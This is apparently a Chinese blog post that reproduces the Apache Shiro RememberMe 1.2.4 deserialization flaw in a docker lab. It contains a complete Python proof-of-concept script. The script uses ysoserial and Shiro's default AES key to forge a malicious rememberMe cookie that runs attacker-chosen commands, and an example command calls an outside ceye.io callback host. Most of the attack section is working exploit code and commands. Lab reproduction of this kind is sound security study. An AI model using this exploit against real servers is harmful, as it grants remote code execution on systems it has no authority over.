• Shiro RememberMe 1.2.4 反序列化漏洞详细复现


    0x00 前言

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

    0x01 环境搭建

    漏洞版本<=1.2.4,使用docker搭建

    docker pull medicean/vulapps:s_shiro_1
    docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
    

    访问80端口即可访问漏洞环境

    0x02 工具准备

    1、生成payload的脚本
    将下面的脚本保存至本地命名为shiro_poc.py,然后进入linux系统/tmp目录下(如想使用其他KEY,替换脚本中的即可)
    不要使用vi/vim命令创建文件再粘贴过去,粘贴会破坏代码的布局格式
    命令行输入rz回车,就会跳出文件上传的页面(如果报错,pip安装一下),选择文件上传即可

    # pip install pycrypto
    import sys
    import base64
    import uuid
    from random import Random
    import subprocess
    from Crypto.Cipher import AES
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
        BS   = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key  =  "kPH+bIxk5D2deZiIxcaaaA=="
        mode =  AES.MODE_CBC
        iv   =  uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])    
        with open("/tmp/payload.cookie", "w") as fpw:
            print("rememberMe={}".format(payload.decode()), file=fpw)
    

    2、安装模块
    脚本使用的是python3,安装模块时要使用pip3 install 模块名
    其中有一个模块需要强调,就是安装pycrypto,用来解决报错No module named Crypto.Cipher

    pip3 install pycrypto
    

    3、ysoserial的jar文件
    依次执行以下命令(jar的文件名要和脚本中的一样,文件要和脚本在同一目录下)

    git clone https://github.com/frohoff/ysoserial.git
    cd ysoserial
    mvn package -DskipTests
    cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp
    

    0x03 复现过程

    在脚本后面输入你想要执行的命令,例:

    python3 shiro_poc.py "ping fkl2af.ceye.io"
    

    然后便会在脚本所在目录下生成文件payload.cookie

    浏览器打开漏洞环境并登陆进去,点击account page抓包

    用payload.cookie中内容替换Cookie中的全部内容,Go

    到ceye平台查看即可到流量记录

  • 相关阅读:
    Ubuntu+Windows双系统升级Windows启动项消失恢复
    day19 Servlet Filter
    day17 dbutils 和 jdbc 多表操作
    day16 事务
    day15 分页及 JDBC 大数据的处理
    day14 JDBC
    day13 MySQL 及数据库相关
    Windows系统中完全卸载MySQL数据库,实现重装
    Elasticsearch 6.5.4 安装IK Analysis插件
    js 常用功能
  • 原文地址:https://www.cnblogs.com/nul1/p/12466612.html
Copyright © 2020-2023  润新知